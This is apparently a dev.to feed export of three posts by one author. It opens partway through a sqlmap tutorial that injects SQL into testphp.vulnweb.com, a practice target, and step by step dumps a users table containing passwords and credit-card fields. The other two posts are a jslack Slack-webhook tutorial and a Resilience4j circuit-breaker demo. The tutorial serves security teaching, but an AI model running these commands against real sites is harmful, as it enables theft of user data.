&lt;/h3&gt;

&lt;p&gt;First, we have to install &lt;a href="https://www.python.org/downloads/" rel="noopener noreferrer"&gt;python&lt;/a&gt; on our system.&lt;/p&gt;

&lt;p&gt;We can download Sqlmap by cloning the Git repository using the command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Getting started
&lt;/h3&gt;

&lt;p&gt;Let us try to confirm the vulnerability by simply adding a single quote at the end of the URL:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbtij88hk0l5yly9m4l3c.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbtij88hk0l5yly9m4l3c.PNG" alt="vulnerable" width="666" height="331"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The above URL shows an error on the web page, saying "Error in your SQL Syntax". This is because of an extra single quote (') that we have entered through the URL into the query in the background. So by seeing the error we can understand that the URL is vulnerable to &lt;a href="https://dzone.com/articles/sqli-part-3-in-band-and-inferential-sqli" rel="noopener noreferrer"&gt;In-band SQL Injection&lt;/a&gt;. &lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1
&lt;/h3&gt;

&lt;p&gt;In this test we will use a standard HTTP GET based request against a URI with a parameter (?cat=1). This will test different SQL injection methods against the &lt;strong&gt;cat&lt;/strong&gt; parameter.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python sqlmap.py -u "http://testphp.vulnweb.com/listproducts.php?cat=1"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the results, we can see the DBMS of server and the methods used to exploit.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu0o0s583128cbv0ey1gi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu0o0s583128cbv0ey1gi.png" alt="part1" width="726" height="649"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2
&lt;/h3&gt;

&lt;p&gt;Once Sqlmap confirms that a remote url is vulnerable to sql injection and is exploitable, use &lt;code&gt;--dbs&lt;/code&gt; to discovery all databases.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python sqlmap.py -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -dbs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9lwsbql7fbg8wsxm9vbm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9lwsbql7fbg8wsxm9vbm.png" alt="part2" width="680" height="257"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3
&lt;/h3&gt;

&lt;p&gt;Now, we can find out what tables exist in a particular database. Let is use the database &lt;strong&gt;acuart&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python sqlmap.py -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs -D acuart --tables
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2b4ztrzb4x7na83nv319.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2b4ztrzb4x7na83nv319.png" alt="part3" width="694" height="369"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4
&lt;/h3&gt;

&lt;p&gt;Now that we have the list of tables with us, it would be a get the columns of some important table.  For example: &lt;strong&gt;users&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python sqlmap.py -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs -D acuart --tables -T users --columns
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs9pjc6hqt1wqth9g5ij7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs9pjc6hqt1wqth9g5ij7.png" alt="part4" width="720" height="404"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 5
&lt;/h3&gt;

&lt;p&gt;And finally, we can extract the data from the table.&lt;br&gt;
The below command will simply dump (csv) the data of the particular table.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python sqlmap.py -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs -D acuart -T users -C name,pass,uname,email,address,cc --dump
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2mzjy4tap32p93wlpc9c.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2mzjy4tap32p93wlpc9c.png" alt="part5" width="800" height="308"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Sqlmap is a very powerful tool and highly customizable, I recommend read the &lt;a href="https://github.com/sqlmapproject/sqlmap/wiki/Usage" rel="noopener noreferrer"&gt;Usage Guide&lt;/a&gt; to explore all features. We must not forget to explore others HTTP methods (POST, PUT, DELETE, etc.).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://twitter.com/silvio_buss" rel="noopener noreferrer"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--DxHW8ddK--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://res.cloudinary.com/practicaldev/image/fetch/s--cMkfg_Vv--/c_limit%252Cf_auto%252Cfl_progressive%252Cq_auto%252Cw_880/https://thepracticaldev.s3.amazonaws.com/i/gmrz82bjwhej1f1iqb1e.png" alt="" width="200" height="89"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Resources
&lt;/h3&gt;

&lt;p&gt;&lt;a href="http://sqlmap.org/" rel="noopener noreferrer"&gt;http://sqlmap.org/&lt;/a&gt;&lt;br&gt;
&lt;a href="https://www.esecurityplanet.com/threats/how-to-prevent-sql-injection-attacks.html" rel="noopener noreferrer"&gt;https://www.esecurityplanet.com/threats/how-to-prevent-sql-injection-attacks.html&lt;/a&gt;&lt;/p&gt;

</description>
      <category>sql</category>
      <category>security</category>
      <category>programming</category>
      <category>sqlmap</category>
    </item>
    <item>
      <title>Send slack messages with Java in 5 minutes</title>
      <dc:creator>Silvio Buss</dc:creator>
      <pubDate>Thu, 20 Jun 2019 22:43:56 +0000</pubDate>
      <link>https://dev.to/silviobuss/send-slack-messages-with-java-in-5-minutes-2lio</link>
      <guid>https://dev.to/silviobuss/send-slack-messages-with-java-in-5-minutes-2lio</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;In this tutorial, we will see how easy it is to send messages to a Slack channel in our Java application with &lt;a href="https://github.com/seratch/jslack" rel="noopener noreferrer"&gt;jslack framework&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  jSlack
&lt;/h2&gt;

&lt;p&gt;jSlack is a Java library to easily integrate your operations with Slack. This library supports all the APIs listed in &lt;a href="https://github.com/slackapi/slack-api-specs" rel="noopener noreferrer"&gt;Slack platform features and APIs&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Incoming Webhook with Slack
&lt;/h2&gt;

&lt;p&gt;Webhook is a simple way to post messages from external sources into Slack via ordinary HTTP requests. See the Slack &lt;a href="https://api.slack.com/incoming-webhooks" rel="noopener noreferrer"&gt;Incoming Webhooks guide&lt;/a&gt; for more details. &lt;/p&gt;

&lt;h2&gt;
  
  
  Getting started
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Getting the Webhook URL
&lt;/h3&gt;

&lt;p&gt;The first thing we need to do is find out from Slack the correct URL it will use to post the messages.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Go to &lt;a href="https://YOUR_ALIAS_TEAM.slack.com/apps/manage/custom-integrations" rel="noopener noreferrer"&gt;https://YOUR_ALIAS_TEAM.slack.com/apps/manage/custom-integrations&lt;/a&gt; &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Choose the &lt;strong&gt;Incoming WebHooks&lt;/strong&gt; option.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Access &lt;strong&gt;Add configuration&lt;/strong&gt; and choose the channel to which you want to send messages and then &lt;strong&gt;Add Incoming WebHooks Integration&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Slack gives you the URL to which you will be posting your messages. &lt;br&gt;
Similar to this: &lt;a href="https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXX" rel="noopener noreferrer"&gt;https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXX&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Create Demo App
&lt;/h3&gt;

&lt;p&gt;Go to &lt;a href="https://start.spring.io/" rel="noopener noreferrer"&gt;https://start.spring.io/&lt;/a&gt; and create a demo app with the &lt;strong&gt;Web&lt;/strong&gt; dependency.&lt;/p&gt;

&lt;p&gt;Import application in your IDE and follow steps below:&lt;/p&gt;

&lt;p&gt;1 - Edit &lt;code&gt;application.properties&lt;/code&gt; file.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

server.servlet.context-path=/
slack.webhook=https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXX


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;2 - Edit &lt;code&gt;pom.xml&lt;/code&gt; file and add jslack:&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;

&lt;span class="nt"&gt;&amp;lt;dependency&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;groupId&amp;gt;&lt;/span&gt;com.github.seratch&lt;span class="nt"&gt;&amp;lt;/groupId&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;artifactId&amp;gt;&lt;/span&gt;jslack&lt;span class="nt"&gt;&amp;lt;/artifactId&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;version&amp;gt;&lt;/span&gt;1.5.6&lt;span class="nt"&gt;&amp;lt;/version&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/dependency&amp;gt;&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;3 - Add controller and service classes:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Controller&lt;/strong&gt;&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgbatlmwb4aagcea74ob3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgbatlmwb4aagcea74ob3.png" alt="controller"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Service&lt;/strong&gt;&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffxvtqwqirjtr1pl5blxo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffxvtqwqirjtr1pl5blxo.png" alt="service"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  Run Demo App
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Start demo app just running a main class.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Using any rest client, make the POST request:&lt;br&gt;
&lt;code&gt;http://localhost:8080/apps/my simple message here&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhrl1uhoxcsgom3hh0x9i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhrl1uhoxcsgom3hh0x9i.png" alt="request"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And Wow! Your message exposed in slack.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fid9z2vzcxnuyxk3i5jkj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fid9z2vzcxnuyxk3i5jkj.png" alt="slack_result"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;In this post, we can see how its works slack webhook integration implemented in Spring Boot 2 with jslack. This framework also provides support to real-time Messaging API, events API, among other resources.&lt;/p&gt;
&lt;h2&gt;
  
  
  Sources
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev.to%2Fassets%2Fgithub-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/silviobuss" rel="noopener noreferrer"&gt;
        silviobuss
      &lt;/a&gt; / &lt;a href="https://github.com/silviobuss/demo-jslack" rel="noopener noreferrer"&gt;
        demo-jslack
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Send slack messages with jslack
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;demo-jslack&lt;/h1&gt;

&lt;/div&gt;

&lt;p&gt;Send slack messages with jslack&lt;/p&gt;

&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;What is this and how it works?&lt;/h1&gt;

&lt;/div&gt;

&lt;p&gt;&lt;a href="https://dev.to/silviobuss/send-slack-messages-with-java-in-5-minutes-2lio" rel="nofollow"&gt;https://dev.to/silviobuss/send-slack-messages-with-java-in-5-minutes-2lio&lt;/a&gt;&lt;/p&gt;

&lt;/div&gt;
&lt;br&gt;
&lt;br&gt;
  &lt;/div&gt;
&lt;br&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/silviobuss/demo-jslack" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;br&gt;
&lt;/div&gt;
&lt;br&gt;


</description>
      <category>opensource</category>
      <category>java</category>
      <category>devops</category>
      <category>slack</category>
    </item>
    <item>
      <title>Resilience for Java microservices. Circuit Breaker with Resilience4j</title>
      <dc:creator>Silvio Buss</dc:creator>
      <pubDate>Fri, 14 Jun 2019 18:43:17 +0000</pubDate>
      <link>https://dev.to/silviobuss/resilience-for-java-microservices-circuit-breaker-with-resilience4j-5c81</link>
      <guid>https://dev.to/silviobuss/resilience-for-java-microservices-circuit-breaker-with-resilience4j-5c81</guid>
      <description>&lt;h1&gt;
  
  
  What is circuit breaker pattern?
&lt;/h1&gt;

&lt;p&gt;Read this first post to understand the concept.&lt;/p&gt;


&lt;div class="ltag__link"&gt;
  &lt;a href="/silviobuss" class="ltag__link__link"&gt;
    &lt;div class="ltag__link__pic"&gt;
      &lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F177908%2Fd0a90ee3-56fa-4cf6-b30f-f745a115e58d.jpg" alt="silviobuss"&gt;
    &lt;/div&gt;
  &lt;/a&gt;
  &lt;a href="/silviobuss/resilience-pattern-for-java-microservices-the-circuit-breaker-b2g" class="ltag__link__link"&gt;
    &lt;div class="ltag__link__content"&gt;
      &lt;h2&gt;Resilience pattern for Java microservices. The Circuit Breaker.&lt;/h2&gt;
      &lt;h3&gt;Silvio Buss ・ Jun 13 '19&lt;/h3&gt;
      &lt;div class="ltag__link__taglist"&gt;
        &lt;span class="ltag__link__tag"&gt;#java&lt;/span&gt;
        &lt;span class="ltag__link__tag"&gt;#microservices&lt;/span&gt;
        &lt;span class="ltag__link__tag"&gt;#opensource&lt;/span&gt;
        &lt;span class="ltag__link__tag"&gt;#devops&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/a&gt;
&lt;/div&gt;


&lt;h2&gt;
  
  
  The Resilience4j
&lt;/h2&gt;

&lt;p&gt;On December of 2018, &lt;a href="https://spring.io/blog/2018/12/12/spring-cloud-greenwich-rc1-available-now" rel="noopener noreferrer"&gt;Spring announced that Spring Cloud Netflix projects entering maintenance mode&lt;/a&gt; and following that announcement recommended some replacements, including Resilience4j instead of Hystrix.&lt;/p&gt;

&lt;h3&gt;
  
  
  Modularization
&lt;/h3&gt;

&lt;p&gt;Resilience4j is a lightweight fault tolerance library designed for Java 8 and functional programming. The library uses &lt;a href="https://www.vavr.io/" rel="noopener noreferrer"&gt;Vavr&lt;/a&gt;, which does not have any other external library dependencies. Resilience4j allows picking what you need.&lt;/p&gt;

&lt;p&gt;The Resilience4j repository also provides several implementation patterns that can make your application more robust, including a circuit breaker, time limiter, rate limiter, retry and cache. &lt;/p&gt;

&lt;h2&gt;
  
  
  Prometheus and Grafana
&lt;/h2&gt;

&lt;p&gt;The combination of Prometheus and Grafana is becoming a more and more common monitoring stack used by DevOps teams for storing and visualizing time series data. Prometheus acts as the storage backend and Grafana as the interface for analysis and visualization.&lt;/p&gt;

&lt;p&gt;The demo project uses this combination along with the Prometheus Metrics exporter module from Resilience4j to turn easy the analysis and visualization of the metrics generated by Resilience4j. And the most important, if you already have docker on the machine, it takes &lt;strong&gt;less than 1 minute&lt;/strong&gt; to configure this demo.&lt;/p&gt;

&lt;h2&gt;
  
  
  Implementation with Spring Boot 2 + Resilience4j + Prometheus + Grafana
&lt;/h2&gt;

&lt;p&gt;The full demo code is below.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;The setup to start grafana and prometheus application (via docker) and the both configurations are available in the project readme in github.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Circuit breaker settings are in the application.yml file.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd136lifhj2xzy0v4htbc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd136lifhj2xzy0v4htbc.png" alt="config file"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;This are the protected methods by circuit breaker&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5wywh94rn295x96qkc9j.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5wywh94rn295x96qkc9j.png" alt="connector_class"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Use the project endpoints to simulate successes.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="http://localhost:9080/backendA/success" rel="noopener noreferrer"&gt;http://localhost:9080/backendA/success&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fktjaj25mq3xb1kkp7pmx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fktjaj25mq3xb1kkp7pmx.png" alt="success_endpoint"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;And for simulate failures.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="http://localhost:9080/backendA/failure" rel="noopener noreferrer"&gt;http://localhost:9080/backendA/failure&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff4hudii5wxixs3x9n5k0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff4hudii5wxixs3x9n5k0.png" alt="failure_remote"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;To simulate the status OPEN, call failure endpoint until it let is reach threshold of 5 attempts used in settings.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F76cqqekzeqt5x3dqfvkz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F76cqqekzeqt5x3dqfvkz.png" alt="focus_config_5"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;When the status is OPEN, the remote call (BackendAConnector.class#failure) will not be executed and all further calls to the circuit breaker will return the error "CircuitBreaker 'backendA' is OPEN...".&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;We can see the status and metrics generated through the grafana dashboards:&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2Fz2o1cmhbb6nylpaxkp3l.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2Fz2o1cmhbb6nylpaxkp3l.png" alt="grafana"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Source code
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev.to%2Fassets%2Fgithub-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/silviobuss" rel="noopener noreferrer"&gt;
        silviobuss
      &lt;/a&gt; / &lt;a href="https://github.com/silviobuss/resilience4j-spring-boot2-demo" rel="noopener noreferrer"&gt;
        resilience4j-spring-boot2-demo
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      A Spring Boot 2 demo which shows how to use the Resilience4j Spring Boot 2 Starter
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;Spring Boot 2 demo of Resilience4j&lt;/h1&gt;
&lt;/div&gt;
&lt;p&gt;&lt;a href="https://travis-ci.org/resilience4j/resilience4j-spring-boot2-demo" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/5d1cc224bbe382a81ed230f8628d243018460f3c38d262a5d30f7d1829b6f1ec/68747470733a2f2f7472617669732d63692e6f72672f726573696c69656e6365346a2f726573696c69656e6365346a2d737072696e672d626f6f74322d64656d6f2e7376673f6272616e63683d6d6173746572" alt="Build Status"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This demo shows how to use the fault tolerance library &lt;a href="https://github.com/resilience4j/resilience4j" rel="noopener noreferrer"&gt;Resilience4j&lt;/a&gt; in a Spring Boot 2 application.&lt;/p&gt;
